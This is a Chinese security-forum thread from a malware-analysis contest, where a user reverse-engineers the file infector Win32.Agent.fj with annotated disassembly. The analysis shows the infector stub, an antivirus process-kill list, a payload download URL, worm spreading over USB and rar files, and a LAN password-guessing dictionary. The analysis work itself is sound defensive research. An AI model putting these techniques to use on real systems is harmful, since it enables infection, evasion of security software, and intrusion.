楼主: 雨宫优子
收起左侧

[版主公告] 【论坛三周年样本区】样本分析大赛【阶段1完毕,阶段2正在进行】【新增活动奖励】

 关闭 [复制链接]
Sherry.ai
发表于 2009-5-26 18:22:43 | 显示全部楼层
....实在不明白是什么意思
woshijiqiren
发表于 2009-5-26 20:40:27 | 显示全部楼层
看来只能纯支持了
asinasina
发表于 2009-5-26 21:17:51 | 显示全部楼层

回复 42楼 ximo 的帖子

大牛参加吧...
sobey
发表于 2009-5-26 23:21:43 | 显示全部楼层
这个还真的是看看啦,凑个热闹
newcenturysun
发表于 2009-5-26 23:40:13 | 显示全部楼层

感染型病毒Win32.Agent.fj的分析之一

第一次发分析 还请大牛们指教哈
(样本在48楼附件中)

分析方法:反汇编:OD+IDA
下面是详细分析报告 和部分代码分析

被感染样本的分析:
被感染样本多增加了一个名为bs的节
首先获得kernel32.dll的基址,然后查找GetProAccess函数地址,通过调用GetProAccess函数再分别获得GetTemppathA,CreateFileA,WriteFile,CloseHandle,CreateProcessA
等函数的地址,从自身文件中读取数据写入%temp%\tem81.exe并调用CreateProcessA函数启动它,之后用jmp 源文件地址 跳回到原文件入口点。

代码:
.bs:00469000                 call    $+5
.bs:00469005                 pop     ebx
.bs:00469006                 sub     ebx, offset byte_401005
.bs:0046900C                 mov     edi, [esp+0]    ; 把esp中的数据给edi 为了下面获得kernel32.dll基址
.bs:0046900F                 and     edi, 0FFFF0000h ; 此时地址应该是7c80xxxx类似,然后对最后四位清0
.bs:00469015
.bs:00469015 loc_469015:                             ; CODE XREF: start+38j
.bs:00469015                 cmp     word ptr [edi], 'ZM' ; 匹配当前地址位置数据是否是MZ
.bs:0046901A                 jnz     short looforkernel32 ; 不是则继续找
.bs:0046901C                 mov     esi, edi
.bs:0046901E                 add     esi, [esi+3Ch]  ; 是的话继续比较下面的PE头
.bs:00469021                 cmp     word ptr [esi], 'EP'
.bs:00469026                 jnz     short looforkernel32 ; 每次地址减去10000h
.bs:00469028                 jmp     short foundkernel32 ; 找到了kernel32.dll则继续下面的动作
.bs:0046902A ; ---------------------------------------------------------------------------
.bs:0046902A
.bs:0046902A looforkernel32:                         ; CODE XREF: start+1Aj
.bs:0046902A                                         ; start+26j
.bs:0046902A                 sub     edi, 10000h     ; 每次地址减去10000h
.bs:00469030                 cmp     edi, 70000000h
.bs:00469036                 jb      short foundkernel32
.bs:00469038                 jmp     short loc_469015 ; 匹配当前地址位置数据是否是MZ
.bs:0046903A ; ---------------------------------------------------------------------------
.bs:0046903A
.bs:0046903A foundkernel32:                          ; CODE XREF: start+28j
.bs:0046903A                                         ; start+36j
.bs:0046903A                 mov     dword_4011D9[ebx], edi
.bs:00469040                 mov     esi, [esi+78h]  ; esi是kernel32.dll的PE头的位置  PE头+78h是导出表位置 那么此句就是定位到kernel32.dll的导出表
.bs:00469043                 add     esi, edi
.bs:00469045                 push    esi
.bs:00469046                 mov     ebp, [esi+18h]
.bs:00469049                 mov     esi, [esi+20h]
.bs:0046904C                 add     esi, edi
.bs:0046904E                 xor     edx, edx
.bs:00469050
.bs:00469050 loc_469050:                             ; CODE XREF: start+75j
.bs:00469050                 push    esi
.bs:00469051                 mov     edi, [esi]
.bs:00469053                 add     edi, dword_4011D9[ebx]
.bs:00469059                 lea     esi, dword_40119E[ebx] ; esi指向字符串GetProcAddress
.bs:0046905F                 mov     ecx, 0Fh
.bs:00469064                 repe cmpsb
.bs:00469066                 jnz     short loc_46906E
.bs:00469068                 pop     esi
.bs:00469069                 mov     edx, esi
.bs:0046906B                 pop     esi
.bs:0046906C                 jmp     short loc_46907F
.bs:0046906E ; ---------------------------------------------------------------------------
.bs:0046906E
.bs:0046906E loc_46906E:                             ; CODE XREF: start+66j
.bs:0046906E                 pop     esi
.bs:0046906F                 add     esi, 4
.bs:00469072                 inc     edx
.bs:00469073                 cmp     edx, ebp
.bs:00469075                 jb      short loc_469050 ; 这个循环在kernel32.dll的导出表中找GetProcAddress
.bs:00469077                 sub     esp, 4
.bs:0046907A                 jmp     loc_469199      ; 跳转回原入口点
.bs:0046907F ; ---------------------------------------------------------------------------
.bs:0046907F
.bs:0046907F loc_46907F:                             ; CODE XREF: start+6Cj
.bs:0046907F                 sub     edx, [esi+20h]
.bs:00469082                 mov     eax, dword_4011D9[ebx]
.bs:00469088                 sub     edx, eax
.bs:0046908A                 shr     edx, 1
.bs:0046908C                 add     edx, [esi+24h]
.bs:0046908F                 add     edx, eax
.bs:00469091                 movzx   eax, word ptr [edx]
.bs:00469094                 shl     eax, 2
.bs:00469097                 add     eax, [esi+1Ch]
.bs:0046909A                 add     eax, dword_4011D9[ebx]
.bs:004690A0                 mov     eax, [eax]
.bs:004690A2                 add     eax, dword_4011D9[ebx]
.bs:004690A8                 mov     edi, eax        ; 找到后的GetProcAddress地址给edi
.bs:004690AA                 mov     ebp, esp
.bs:004690AC                 mov     edx, dword_4011D9[ebx] ; 把字符串GetTempPathA这个字符串给edx
.bs:004690B2                 lea     eax, dword_4011AD[ebx]
.bs:004690B8                 push    eax
.bs:004690B9                 push    edx
.bs:004690BA                 call    edi             ; 调用GetProcAddress函数找GetTemppathA函数地址
.bs:004690BC                 sub     esp, 104h
.bs:004690C2                 push    esp
.bs:004690C3                 push    104h
.bs:004690C8                 call    eax             ; 调用GetTempPathA函数获得临时文件夹路径 结果放在esp中
.bs:004690CA                 lea     eax, dword_4011BA[ebx]
.bs:004690D0                 push    eax
.bs:004690D1                 mov     edx, dword_4011D9[ebx]
.bs:004690D7                 push    edx
.bs:004690D8                 call    edi             ; 和上面原理类似这回找lstrcatA函数地址 结果放在了eax中
.bs:004690DA                 lea     ecx, dword_4011C3[ebx] ; 从自身程序中获得字符串tem81.exe
.bs:004690E0                 push    ecx
.bs:004690E1                 mov     ecx, esp        ; 把刚才获得的临时文件夹路径传给ecx
.bs:004690E3                 add     ecx, 4
.bs:004690E6                 push    ecx
.bs:004690E7                 call    eax             ; 调用lstrcatA函数把tem81.exe和临时文件夹路径拼接起来
.bs:004690E9                 lea     eax, dword_4011CD[ebx] ; 从自身程序中获得字符串CreateFileA
.bs:004690EF                 push    eax             ; 把刚才拼的tem81.exe路径压入栈中保存
.bs:004690F0                 mov     edx, dword_4011D9[ebx]
.bs:004690F6                 push    edx
.bs:004690F7                 call    edi             ; 获得CreateFileA函数地址放在edx中
.bs:004690F9                 mov     ecx, esp        ; 取出刚才保存的tem81.exe的完整路径给ecx
.bs:004690FB                 push    0
.bs:004690FD                 push    80h
.bs:00469102                 push    2
.bs:00469104                 push    0
.bs:00469106                 push    0
.bs:00469108                 push    0C0000000h
.bs:0046910D                 push    ecx
.bs:0046910E                 call    eax             ; 调用CreateFileA函数创建tem81.exe
.bs:00469110                 mov     esi, eax        ; 句柄给esi
.bs:00469112                 lea     ecx, dword_401204[ebx] ; 从自身文件中获得字符串WriteFile给ecx
.bs:00469118                 push    ecx             ; 多压入了一个WriteFile
.bs:00469119                 push    ecx
.bs:0046911A                 mov     edx, dword_4011D9[ebx]
.bs:00469120                 push    edx
.bs:00469121                 call    edi             ; 获得WriteFile函数地址放到eax
.bs:00469123                 pop     ecx             ; ecx为文件内WriteFile字符串所在位置
.bs:00469124                 push    0
.bs:00469126                 push    ecx
.bs:00469127                 add     ecx, 0Ah        ; ecx+A 为要写入文件数据的buffer 即46920e
.bs:0046912A                 mov     edx, [ecx]
.bs:0046912C                 push    edx
.bs:0046912D                 push    ecx             ; buffer地址
.bs:0046912E                 mov     edx, 905A4Dh
.bs:00469133                 mov     [ecx], edx      ; 修改该buffer的前3个字节 修改后46920e处变为4D5A9000...
.bs:00469135                 push    esi             ; 文件句柄
.bs:00469136                 call    eax             ; 调用WriteFile函数写tem81.exe
.bs:00469138                 lea     eax, dword_4011EC[ebx] ; CloseHandle
.bs:0046913E                 push    eax
.bs:0046913F                 mov     edx, dword_4011D9[ebx]
.bs:00469145                 push    edx
.bs:00469146                 call    edi             ; 找CloseHandle地址
.bs:00469148                 push    esi
.bs:00469149                 call    eax             ; CloseHandle关闭文件句柄
.bs:0046914B                 lea     eax, dword_4011DD[ebx] ; CreateProcessA
.bs:00469151                 push    eax
.bs:00469152                 mov     edx, dword_4011D9[ebx]
.bs:00469158                 push    edx
.bs:00469159                 call    edi             ; 找CreateProcessA函数地址
.bs:0046915B                 sub     esp, 44h
.bs:0046915E                 mov     edx, esp
.bs:00469160                 mov     esi, 0
.bs:00469165                 mov     ecx, 11h
.bs:0046916A
.bs:0046916A loc_46916A:                             ; CODE XREF: start+16Fj
.bs:0046916A                 mov     [edx], esi
.bs:0046916C                 add     edx, 4
.bs:0046916F                 loop    loc_46916A
.bs:00469171                 mov     edx, 44h
.bs:00469176                 mov     [esp+44h+var_44], edx
.bs:00469179                 sub     esp, 10h
.bs:0046917C                 mov     edx, esp
.bs:0046917E                 push    esp
.bs:0046917F                 add     edx, 10h
.bs:00469182                 push    edx
.bs:00469183                 push    0
.bs:00469185                 push    0
.bs:00469187                 push    0
.bs:00469189                 push    0
.bs:0046918B                 push    0
.bs:0046918D                 push    0
.bs:0046918F                 push    0
.bs:00469191                 add     edx, 44h
.bs:00469194                 push    edx
.bs:00469195                 call    eax             ; CreateProcessA函数启动tem81.exe
.bs:00469197                 mov     esp, ebp
.bs:00469199
.bs:00469199 loc_469199:                             ; CODE XREF: start+7Aj
.bs:00469199                 jmp     loc_466850      ; 跳转回原入口点
.bs:00469199 start           endp

tem81.exe分析:
将系统路径下的Advapi32.dll复制到%temp%\TempAdv.dll,加载TempAdv.dll(Advapi32.dll)获得CreateServiceA地址,获取ZwSetValueKey,ZwLoadDriver,ZwUnloadDriver函数地址
.text:0040129B                 call    memset
.text:004012A0                 add     esp, 0Ch
.text:004012A3                 lea     eax, [esp+908h+Dst]
.text:004012AA                 call    sub_401E84
.text:004012AF                 mov     [esp+908h+var_8C4], eax
.text:004012B3                 push    edi             ; uSize
.text:004012B4                 lea     eax, [esp+90Ch+systempath]
.text:004012BB                 push    eax             ; lpBuffer
.text:004012BC                 call    ds:GetSystemDirectoryA
.text:004012C2                 lea     eax, [esp+908h+tempath]
.text:004012C6                 push    eax             ; lpBuffer
.text:004012C7                 push    edi             ; nBufferLength
.text:004012C8                 call    ds:GetTempPathA
.text:004012CE                 mov     esi, ds:lstrcatA
.text:004012D4                 push    offset String2  ; "\\Advapi32.dll"
.text:004012D9                 lea     eax, [esp+90Ch+systempath]
.text:004012E0                 push    eax             ; lpString1
.text:004012E1                 call    esi ; lstrcatA  ; system32\advapi32.dll
.text:004012E3                 push    offset aTempadv_dll ; "TempAdv.dll"
.text:004012E8                 lea     eax, [esp+90Ch+tempath]
.text:004012EC                 push    eax             ; lpString1
.text:004012ED                 call    esi ; lstrcatA  ; %temp%\tempAdv.dll
.text:004012EF                 push    ebx             ; bFailIfExists
.text:004012F0                 lea     eax, [esp+90Ch+tempath]
.text:004012F4                 push    eax             ; lpNewFileName
.text:004012F5                 lea     eax, [esp+910h+systempath]
.text:004012FC                 push    eax             ; lpExistingFileName
.text:004012FD                 call    ds:CopyFileA    ; 把advapi32.dll拷贝到临时文件夹下的tempAdv.dll
.text:00401303                 mov     esi, ds:LoadLibraryA
.text:00401309                 lea     eax, [esp+908h+tempath]
.text:0040130D                 push    eax             ; lpLibFileName
.text:0040130E                 call    esi ; LoadLibraryA ; load起来那个tempAdv.dll
.text:00401310                 mov     [esp+908h+hModule], eax
.text:00401314                 cmp     eax, ebx
.text:00401316                 jnz     short loc_401326 ; 没成功就接着加载原来的advapi32.dll 成功则跳走
.text:00401318                 lea     eax, [esp+908h+systempath]
.text:0040131F                 push    eax             ; lpLibFileName
.text:00401320                 call    esi ; LoadLibraryA
.text:00401322                 mov     [esp+908h+hModule], eax
.text:00401326
.text:00401326 loc_401326:                             ; CODE XREF: WinMain(x,x,x,x)+D3j
.text:00401326                 push    offset LibFileName ; "ntdll.dll"
.text:0040132B                 call    esi ; LoadLibraryA
.text:0040132D                 mov     esi, ds:GetProcAddress
.text:00401333                 push    offset aCreateservicea ; "CreateServiceA"
.text:00401338                 push    [esp+90Ch+hModule] ; hModule
.text:0040133C                 mov     [esp+910h+advapi32.dll], eax
.text:00401340                 call    esi ; GetProcAddress ; 找CreateServiceA地址
.text:00401342                 push    offset aZwsetvaluekey ; "ZwSetValueKey"
.text:00401347                 push    [esp+90Ch+advapi32.dll] ; hModule
.text:0040134B                 mov     [esp+910h+CreateServiceA], eax
.text:0040134F                 call    esi ; GetProcAddress
.text:00401351                 push    offset aZwloaddriver ; "ZwLoadDriver"
.text:00401356                 push    [esp+90Ch+advapi32.dll] ; hModule
.text:0040135A                 mov     [esp+910h+ZwSetValueKey], eax
.text:0040135E                 call    esi ; GetProcAddress
.text:00401360                 push    offset aZwunloaddriver ; "ZwUnloadDriver"
.text:00401365                 push    [esp+90Ch+advapi32.dll] ; hModule
.text:00401369                 mov     [esp+910h+ZwLoadDriver], eax
.text:0040136D                 call    esi ; GetProcAddress


从自身资源中读取数据写入%temp%\TempLog.txt(这是一个驱动程序)
然后把该文件移动为%system32%\AsynCom.sys
.text:004013B1 loc_4013B1:                             ; CODE XREF: WinMain(x,x,x,x)+162j
.text:004013B1                 lea     eax, [esp+908h+systempath]
.text:004013B8                 push    eax             ; lpString2
.text:004013B9                 lea     eax, [esp+90Ch+NewFileName]
.text:004013C0                 push    eax             ; lpString1
.text:004013C1                 call    ds:lstrcpyA
.text:004013C7                 push    offset aAsyncom_sys ; "AsynCom.sys"
.text:004013CC                 lea     eax, [esp+90Ch+NewFileName]
.text:004013D3                 push    '\'             ; Ch
.text:004013D5                 push    eax             ; Str
.text:004013D6                 call    ds:strrchr
.text:004013DC                 pop     ecx
.text:004013DD                 pop     ecx
.text:004013DE                 inc     eax
.text:004013DF                 push    eax             ; lpString1
.text:004013E0                 call    ds:lstrcpyA
.text:004013E6                 push    offset aTemplog_txt ; "TempLog.txt"
.text:004013EB                 lea     eax, [esp+90Ch+tempath]
.text:004013EF                 push    eax             ; lpString1
.text:004013F0                 call    ds:lstrcatA     ; %temp%\templog.txt
.text:004013F6                 push    ebx             ; int
.text:004013F7                 push    80h             ; dwFlagsAndAttributes
.text:004013FC                 push    66h             ; __int16
.text:004013FE                 lea     eax, [esp+914h+tempath]
.text:00401402                 push    eax             ; lpFileName
.text:00401403                 call    resource
.text:00401408                 push    1               ; int
.text:0040140A                 push    ebx             ; dwFlagsAndAttributes
.text:0040140B                 push    ebx             ; __int16
.text:0040140C                 lea     eax, [esp+914h+tempath]
.text:00401410                 push    eax             ; lpFileName
.text:00401411                 call    resource
.text:00401416                 push    1               ; dwFlags
.text:00401418                 lea     eax, [esp+90Ch+NewFileName]
.text:0040141F                 push    eax             ; lpNewFileName
.text:00401420                 lea     eax, [esp+910h+tempath]
.text:00401424                 push    eax             ; lpExistingFileName
.text:00401425                 call    ds:MoveFileExA  ; 把templog.txt移动为%system32%\AsynCom.sys

设置相应的注册表键值SYSTEM\CurrentControlSet\Services\AsyncMac
调用ZwLoadDriver加载该驱动。创建名为[url=]\\\\.\\USBDTDOS[/url]的设备

遍历下列进程
safeboxTray.exe|360tray.exe|rsmain.exe|rsagent.exe|scanfrm.exe|360Safe.exe|CCENTER.EXE|Ravmond.exe|rstray.exe|ravtask.exe|rsnetsvr.exe|RavStub.exe|RAVTIMER.E
XE|rfwmain.exe|Iparmor.exe|RAVMON.EXE|rfwsrv.exe|kwatch.exe|kpfwsvc.exe|kissvc.exe|kavstart.exe|kaccore.exe|egui.exe|egui.exe|ekrn.exe|ekrn.exe|essact.exe|EH
ttpSrv.exe|ekrn.exe|ntsd.exe

下转48楼

[ 本帖最后由 newcenturysun 于 2009-5-26 23:45 编辑 ]

评分

参与人数 1人气 +1 收起 理由
will + 1 支持下~ :-)

查看全部评分

newcenturysun
发表于 2009-5-26 23:41:02 | 显示全部楼层

接47楼

如果找到则把相应的进程ID发给AsynCom.sys这个驱动程序,并发送IRP(222008h)给该驱动,用以结束相应进程。
.text:00401A5A                 mov     eax, offset String ; "safeboxTray.exe|360tray.exe|rsmain.exe|"...
.text:00401A5F                 push    edi
.text:00401A60                 mov     esi, eax
.text:00401A62                 cmp     byte ptr String, bl ; "safeboxTray.exe|360tray.exe|rsmain.exe|"...
.text:00401A68                 jz      short loc_401A76
.text:00401A6A
.text:00401A6A loc_401A6A:                             ; CODE XREF: fuckav+24j
.text:00401A6A                 cmp     byte ptr [esi], '|'
.text:00401A6D                 jnz     short loc_401A71
.text:00401A6F                 mov     [esi], bl
.text:00401A71
.text:00401A71 loc_401A71:                             ; CODE XREF: fuckav+1Dj
.text:00401A71                 inc     esi
.text:00401A72                 cmp     [esi], bl
.text:00401A74                 jnz     short loc_401A6A
.text:00401A76
.text:00401A76 loc_401A76:                             ; CODE XREF: fuckav+18j
.text:00401A76                 mov     esi, eax
.text:00401A78                 cmp     byte ptr String, bl ; "safeboxTray.exe|360tray.exe|rsmain.exe|"...
.text:00401A7E                 jz      short loc_401AD7
.text:00401A80
.text:00401A80 loc_401A80:                             ; CODE XREF: fuckav+85j
.text:00401A80                 mov     [ebp+var_4], ebx
.text:00401A83
.text:00401A83 loc_401A83:                             ; CODE XREF: fuckav+76j
.text:00401A83                 push    esi             ; lpString2
.text:00401A84                 mov     [ebp+InBuffer], ebx
.text:00401A87                 mov     [ebp+BytesReturned], ebx
.text:00401A8A                 call    bianli
.text:00401A8F                 mov     [ebp+InBuffer], eax
.text:00401A92                 cmp     eax, ebx
.text:00401A94                 jz      short loc_401AC8
.text:00401A96                 push    ebx             ; lpOverlapped
.text:00401A97                 lea     eax, [ebp+BytesReturned]
.text:00401A9A                 push    eax             ; lpBytesReturned
.text:00401A9B                 push    ebx             ; nOutBufferSize
.text:00401A9C                 push    ebx             ; lpOutBuffer
.text:00401A9D                 push    4               ; nInBufferSize
.text:00401A9F                 lea     eax, [ebp+InBuffer]
.text:00401AA2                 push    eax             ; lpInBuffer
.text:00401AA3                 push    222008h         ; dwIoControlCode
.text:00401AA8                 push    [ebp+hDevice]   ; hDevice
.text:00401AAB                 call    ds:DeviceIoControl
将自身复制到\\dllcache\\systembox.bak
从自身资源中读取数据写入%system32%\twain.dll
.text:00401569                 call    copy
.text:0040156E                 push    offset aTwain_dll ; "twain.dll"
.text:00401573                 lea     eax, [esp+90Ch+systempath]
.text:0040157A                 push    5Ch             ; Ch
.text:0040157C                 push    eax             ; Str
.text:0040157D                 call    ds:strrchr
.text:00401583                 pop     ecx
.text:00401584                 pop     ecx
.text:00401585                 inc     eax
.text:00401586                 push    eax             ; lpString1
.text:00401587                 call    ds:lstrcpyA
.text:0040158D                 push    ebx             ; int
.text:0040158E                 push    6               ; dwFlagsAndAttributes
.text:00401590                 push    65h             ; __int16
.text:00401592                 lea     eax, [esp+914h+systempath]
.text:00401599                 push    eax             ; lpFileName
.text:0040159A                 call    resource
.text:0040159F                 push    1               ; int
.text:004015A1                 push    ebx             ; dwFlagsAndAttributes
.text:004015A2                 push    ebx             ; __int16
.text:004015A3                 lea     eax, [esp+914h+systempath]
.text:004015AA                 push    eax             ; lpFileName
.text:004015AB                 call    resource
将这个写入HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost的netsvcs键下,启动服务
最后释放一个批处理删除自身文件

twain.dll分析(代码过长,所以只发分析报告拉)
初始化:首先创建一个名为4F9E860C-9BE9-474b-8FD1-F0EEDB20C77B的事件,对要使用的网址进行解密(解密后为http://www.dy2004.com/winxp/mm.txt
创建多个线程
线程1:每隔0.5秒访问一次www.dy2004.com,如果访问到了,则向其80端口发送数据包获得mm.htm

线程2:将urlmon.dll拷贝到%temp%\Nettemp.dll,加载之,获取URLDownloadToFileA函数地址,下载http://www.dy2004.com/winxp/mm.txt到%temp%\TempLocal.txt
读取该配置文件并下载和运行其中指定的病毒和木马程序,并把WEBTEXT:后面的内容(是个iframe挂马网址)存在一个buffer中备用

线程3:打开名为[url=]\\\\.\\USBDTDOS[/url]的设备,遍历杀软进程并如果找到则把相应的进程ID发给USBDTDOS这个设备,并发送IRP(222008h)给该驱动,用以结束相应进程。(与上面结束杀软过程相同)

线程4:感染文件线程
遍历磁盘分区,不包括(A:\,B:\)
感染所有分区的exe文件,但不感染如下文件夹内的文件
WinRAR
WindowsUpdate
Windows NT
Windows Media Player
Outlook Express
NetMeeting
MSN Gaming Zone
Movie Maker
microsoft frontpage
Messenger
Internet Explorer
InstallShield Installation Information
ComPlus Applications
Common Files
RECYCLER
System Volume Information
Documents and Settings
WinNT
WINDOWS
遍历所有分区的aspx,asp,htm,html文件,在其尾部加入iframe代码(来自刚才从配置文件中读取的)
遍历所有分区的.rar文件 先以%s X -ibck \"%s\" \"%s\\\的参数将压缩包解压,感染后再以%s M -ibck -r -o+ -ep1 \"%s\" \"%s\\*\的参数压缩回去。

线程5:U盘传播线程:遍历磁盘,查找可移动存储,在可移动存储根目录释放autorun.inf 在recycle.{645FF040-5081-101B-9F08-00AA002F954E}目录下释放ghost.exe

线程6:局域网传播线程
以一个密码字典猜解局域网中的机器,
用户名:Administrator,Guest,admin,Root,
密码:1234,password,6969,harley,123456,golf,pussy,mustang,1111,shadow'
',1313,fish,5150,7777,qwerty,baseball,2112,letmein,12345678,12345,'
'ccc,admin,5201314,qq520,1,12,123,1234567,123456789,654321,54321,1'
'11,000000,abc,pw,11111111,88888888,pass,passwd,database,abcd,abc1'
'23,pass,sybase,123qwe,server,computer,520,super,123asd,0,ihavenop'
'ass,godblessyou,enable,xp,2002,2003,2600,alpha,110,111111,121212,'
'123123,1234qwer,123abc,007,a,aaa,patrick,pat,administrator,root,s'
'ex,god,fuckyou,fuck,abc,test,test123,temp,temp123,win,pc,asdf,pwd'
',qwer,yxcv,zxcv,home,xxx,owner,login,Login,pw123,love,mypc,mypc12'
'3,admin123,mypass,mypass123,901100
如果成功则下载http://www.dy2004.com/winxp/mm.exe并在对方机器上执行,并感染对方的机器(和本机感染代码相同)

PS:弱弱的问下 我这水平能入咱那个kafan hunters么 很想跟大牛学习阿

[ 本帖最后由 newcenturysun 于 2009-5-27 00:03 编辑 ]

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?快速注册

x

评分

参与人数 2经验 +30 魅力 +1 人气 +1 收起 理由
aarwwefdds + 30 + 1 恭喜获奖,现在有费尔序列号三个月和江民序
backway + 1 偶像啊........

查看全部评分

ximo
发表于 2009-5-26 23:45:23 | 显示全部楼层
原帖由 newcenturysun 于 2009-5-26 23:41 发表
如果找到则把相应的进程ID发给AsynCom.sys这个驱动程序,并发送IRP(222008h)给该驱动,用以结束相应进程。
.text:00401A5A                 mov     eax, offset String ; "safeboxTray.exe|360tray.exe|rsmain.exe ...


终于等到想看的东西了,学习。
哈哈,如果能加上如何感染的过程就更好了。

[ 本帖最后由 ximo 于 2009-5-26 23:47 编辑 ]
jerrysun
头像被屏蔽
发表于 2009-5-27 09:26:11 | 显示全部楼层
原帖由 newcenturysun 于 2009-5-26 23:41 发表
初始化:首先创建一个名为4F9E860C-9BE9-474b-8FD1-F0EEDB20C77B的事件,对要使用的网址进行解密(解密后为http://www.dy2004.com/winxp/mm.txt
创建多个线程

不错,支持。不过补充下就更加完整了~~
首先创建一个名为4F9E860C-9BE9-474b-8FD1-F0EEDB20C77B的事件,对网址解密。然后主线程WaitForSingleObject等待该事件对象受信。

最后在某个工作线程内SetEvent受信该事件对象,主线程继续执行后面的代码。
ximo
发表于 2009-5-27 10:07:40 | 显示全部楼层
原帖由 jerrysun 于 2009-5-27 09:26 发表

不错,支持。不过补充下就更加完整了~~
首先创建一个名为4F9E860C-9BE9-474b-8FD1-F0EEDB20C77B的事件,对网址解密。然后主线程WaitForSingleObject等待该事件对象受信。

最后在某个工作线程内SetEvent受信该事 ...


学习,是这样的。
不过一般分析过程中,在IDA中,直接双击线程的回调函数地址就转过去了,不会去看的这么仔细的,呵呵。(只代表个人的分析习惯。)
jerrysun
头像被屏蔽
发表于 2009-5-27 10:46:42 | 显示全部楼层

回复 51楼 ximo 的帖子

继续学习。
我的意思是说作者只提到了创建事件对象却没有后话,稍显不够完整。

说到分析习惯,我是比较关注代码的逻辑结构的。

有点吹毛求疵,见谅了~~~
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2024-11-22 01:42 , Processed in 0.097482 second(s), 15 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究,不得将上述内容用于商业或者其他非法用途,否则产生的一切后果自负,本站信息来自网络,版权争议问题与本站无关,您必须在下载后的24小时之内从您的电脑中彻底删除上述信息,如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表